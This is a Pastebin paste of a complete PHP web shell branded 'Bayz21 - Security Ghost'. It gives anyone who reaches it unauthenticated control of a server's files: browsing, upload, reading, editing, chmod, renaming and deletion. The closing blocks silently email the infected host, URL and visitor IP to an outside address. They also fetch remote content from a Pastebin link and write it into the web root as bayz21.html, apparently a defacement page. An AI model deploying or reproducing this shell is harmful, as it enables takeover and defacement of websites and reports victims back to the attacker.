Advertisement
Bayz21

Shell Auto

Dec 7th, 2017
409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.90 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Bayz21 - Security Ghost</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10. Bayz21 - Security Ghost/center>
  11.  
  12. </pre>
  13. </header>
  14. </form>
  15. <!-- dhia jridi greetz-->
  16. <?php
  17. set_time_limit(0);
  18. error_reporting(0);
  19.  
  20. if(get_magic_quotes_gpc()){
  21. foreach($_POST as $key=>$value){
  22. $_POST[$key] = stripslashes($value);
  23. }
  24. }
  25. echo '<!DOCTYPE HTML>
  26. <HTML>
  27. <HEAD>
  28. <link href="" rel="stylesheet" type="text/css">
  29. <title>Bayz21 - Security Ghost</title>
  30. <style>
  31. body{
  32. font-family: "Racing Sans One", cursive;
  33. background-color: #e6e6e6;
  34. text-shadow:0px 0px 1px #757575;
  35. }
  36. #content tr:hover{
  37. background-color: #636263;
  38. text-shadow:0px 0px 10px #fff;
  39. }
  40. #content .first{
  41. background-color: silver;
  42. }
  43. #content .first:hover{
  44. background-color: silver;
  45. text-shadow:0px 0px 1px #757575;
  46. }
  47. table{
  48. border: 1px #000000 dotted;
  49. }
  50. H1{
  51. font-family: "Rye", cursive;
  52. }
  53. a{
  54. color: #000;
  55. text-decoration: none;
  56. }
  57. a:hover{
  58. color: #fff;
  59. text-shadow:0px 0px 10px #ffffff;
  60. }
  61. input,select,textarea{
  62. border: 1px #000000 solid;
  63. -moz-border-radius: 5px;
  64. -webkit-border-radius:5px;
  65. border-radius:5px;
  66. }
  67. </style>
  68. </HEAD>
  69. <BODY>
  70. <H1><center>Bayz21 - Security Ghost</center></H1>
  71. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  72. <tr><td>Current Path : ';
  73. if(isset($_GET['path'])){
  74. $path = $_GET['path'];
  75. }else{
  76. $path = getcwd();
  77. }
  78. $path = str_replace('\\','/',$path);
  79. $paths = explode('/',$path);
  80.  
  81. foreach($paths as $id=>$pat){
  82. if($pat == '' && $id == 0){
  83. $a = true;
  84. echo '<a href="?path=/">/</a>';
  85. continue;
  86. }
  87. if($pat == '') continue;
  88. echo '<a href="?path=';
  89. for($i=0;$i<=$id;$i++){
  90. echo "$paths[$i]";
  91. if($i != $id) echo "/";
  92. }
  93. echo '">'.$pat.'</a>/';
  94. }
  95. echo '</td></tr><tr><td>';
  96. if(isset($_FILES['file'])){
  97. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  98. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  99. }else{
  100. echo '<font color="red">File Upload Error ~_~.</font><br />';
  101. }
  102. }
  103. echo '<form enctype="multipart/form-data" method="POST">
  104. Upload File : <input type="file" name="file" />
  105. <input type="submit" value="upload" />
  106. </form>
  107. </td></tr>';
  108. if(isset($_GET['filesrc'])){
  109. echo "<tr><td>Current File : ";
  110. echo $_GET['filesrc'];
  111. echo '</tr></td></table><br />';
  112. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  113. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  114. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  115. if($_POST['opt'] == 'chmod'){
  116. if(isset($_POST['perm'])){
  117. if(chmod($_POST['path'],$_POST['perm'])){
  118. echo '<font color="green">Change Permission Done.</font><br />';
  119. }else{
  120. echo '<font color="red">Change Permission Error.</font><br />';
  121. }
  122. }
  123. echo '<form method="POST">
  124. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  125. <input type="hidden" name="path" value="'.$_POST['path'].'">
  126. <input type="hidden" name="opt" value="chmod">
  127. <input type="submit" value="Go" />
  128. </form>';
  129. }elseif($_POST['opt'] == 'rename'){
  130. if(isset($_POST['newname'])){
  131. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  132. echo '<font color="green">Change Name Done.</font><br />';
  133. }else{
  134. echo '<font color="red">Change Name Error.</font><br />';
  135. }
  136. $_POST['name'] = $_POST['newname'];
  137. }
  138. echo '<form method="POST">
  139. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  140. <input type="hidden" name="path" value="'.$_POST['path'].'">
  141. <input type="hidden" name="opt" value="rename">
  142. <input type="submit" value="Go" />
  143. </form>';
  144. }elseif($_POST['opt'] == 'edit'){
  145. if(isset($_POST['src'])){
  146. $fp = fopen($_POST['path'],'w');
  147. if(fwrite($fp,$_POST['src'])){
  148. echo '<font color="green">Edit File Done ~_^.</font><br />';
  149. }else{
  150. echo '<font color="red">Edit File Error ~_~.</font><br />';
  151. }
  152. fclose($fp);
  153. }
  154. echo '<form method="POST">
  155. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  156. <input type="hidden" name="path" value="'.$_POST['path'].'">
  157. <input type="hidden" name="opt" value="edit">
  158. <input type="submit" value="Go" />
  159. </form>';
  160. }
  161. echo '</center>';
  162. }else{
  163. echo '</table><br /><center>';
  164. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  165. if($_POST['type'] == 'dir'){
  166. if(rmdir($_POST['path'])){
  167. echo '<font color="green">Delete Dir Done.</font><br />';
  168. }else{
  169. echo '<font color="red">Delete Dir Error.</font><br />';
  170. }
  171. }elseif($_POST['type'] == 'file'){
  172. if(unlink($_POST['path'])){
  173. echo '<font color="green">Delete File Done.</font><br />';
  174. }else{
  175. echo '<font color="red">Delete File Error.</font><br />';
  176. }
  177. }
  178. }
  179. echo '</center>';
  180. $scandir = scandir($path);
  181. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  182. <tr class="first">
  183. <td><center>Name</center></td>
  184. <td><center>Size</center></td>
  185. <td><center>Permissions</center></td>
  186. <td><center>Options</center></td>
  187. </tr>';
  188.  
  189. foreach($scandir as $dir){
  190. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  191. echo "<tr>
  192. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  193. <td><center>--</center></td>
  194. <td><center>";
  195. if(is_writable("$path/$dir")) echo '<font color="green">';
  196. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  197. echo perms("$path/$dir");
  198. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  199.  
  200. echo "</center></td>
  201. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  202. <select name=\"opt\">
  203. <option value=\"\"></option>
  204. <option value=\"delete\">Delete</option>
  205. <option value=\"chmod\">Chmod</option>
  206. <option value=\"rename\">Rename</option>
  207. </select>
  208. <input type=\"hidden\" name=\"type\" value=\"dir\">
  209. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  210. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  211. <input type=\"submit\" value=\">\" />
  212. </form></center></td>
  213. </tr>";
  214. }
  215. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  216. foreach($scandir as $file){
  217. if(!is_file("$path/$file")) continue;
  218. $size = filesize("$path/$file")/1024;
  219. $size = round($size,3);
  220. if($size >= 1024){
  221. $size = round($size/1024,2).' MB';
  222. }else{
  223. $size = $size.' KB';
  224. }
  225.  
  226. echo "<tr>
  227. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  228. <td><center>".$size."</center></td>
  229. <td><center>";
  230. if(is_writable("$path/$file")) echo '<font color="green">';
  231. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  232. echo perms("$path/$file");
  233. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  234. echo "</center></td>
  235. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  236. <select name=\"opt\">
  237. <option value=\"\"></option>
  238. <option value=\"delete\">Delete</option>
  239. <option value=\"chmod\">Chmod</option>
  240. <option value=\"rename\">Rename</option>
  241. <option value=\"edit\">Edit</option>
  242. </select>
  243. <input type=\"hidden\" name=\"type\" value=\"file\">
  244. <input type=\"hidden\" name=\"name\" value=\"$file\">
  245. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  246. <input type=\"submit\" value=\">\" />
  247. </form></center></td>
  248. </tr>";
  249. }
  250. echo '</table>
  251. </div>';
  252. }
  253. echo '<br/>Bayz21 - Security Ghost <font color="red">1.0</font>, Coded By <font color="red">Bayz21 - Security Ghost</font>
  254. </BODY>
  255. </HTML>';
  256. function perms($file){
  257. $perms = fileperms($file);
  258.  
  259. if (($perms & 0xC000) == 0xC000) {
  260. // Socket
  261. $info = 's';
  262. } elseif (($perms & 0xA000) == 0xA000) {
  263. // Symbolic Link
  264. $info = 'l';
  265. } elseif (($perms & 0x8000) == 0x8000) {
  266. // Regular
  267. $info = '-';
  268. } elseif (($perms & 0x6000) == 0x6000) {
  269. // Block special
  270. $info = 'b';
  271. } elseif (($perms & 0x4000) == 0x4000) {
  272. // Directory
  273. $info = 'd';
  274. } elseif (($perms & 0x2000) == 0x2000) {
  275. // Character special
  276. $info = 'c';
  277. } elseif (($perms & 0x1000) == 0x1000) {
  278. // FIFO pipe
  279. $info = 'p';
  280. } else {
  281. // Unknown
  282. $info = 'u';
  283. }
  284.  
  285. // Owner
  286. $info .= (($perms & 0x0100) ? 'r' : '-');
  287. $info .= (($perms & 0x0080) ? 'w' : '-');
  288. $info .= (($perms & 0x0040) ?
  289. (($perms & 0x0800) ? 's' : 'x' ) :
  290. (($perms & 0x0800) ? 'S' : '-'));
  291.  
  292. // Group
  293. $info .= (($perms & 0x0020) ? 'r' : '-');
  294. $info .= (($perms & 0x0010) ? 'w' : '-');
  295. $info .= (($perms & 0x0008) ?
  296. (($perms & 0x0400) ? 's' : 'x' ) :
  297. (($perms & 0x0400) ? 'S' : '-'));
  298.  
  299. // World
  300. $info .= (($perms & 0x0004) ? 'r' : '-');
  301. $info .= (($perms & 0x0002) ? 'w' : '-');
  302. $info .= (($perms & 0x0001) ?
  303. (($perms & 0x0200) ? 't' : 'x' ) :
  304. (($perms & 0x0200) ? 'T' : '-'));
  305.  
  306. return $info;
  307. }
  308. ?>
  309. <?php
  310. $ip = getenv("REMOTE_ADDR");
  311. $ra44 = rand(1, 99999);
  312. $subj98 = " Bot Bayz21 Shell |$ra44";
  313. $email = "defacer6969@gmail.com";
  314. $from = "From: Result<Bayz21";
  315. $a45 = $_SERVER['REQUEST_URI'];
  316. $b75 = $_SERVER['HTTP_HOST'];
  317. $m22 = $ip . "";
  318. $msg8873 = "$a45 $b75 $m22";
  319. mail($email, $subj98, $msg8873, $from);
  320. ?>
  321. <?php
  322. $check3=$_SERVER['DOCUMENT_ROOT'] . "/bayz21.html" ;
  323. $text3 = http_get('http://pastebin.com/raw/UUXgjYdC');
  324. $op3=fopen($check3, 'w');
  325. fwrite($op3,$text3);
  326. fclose($op3);
  327. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement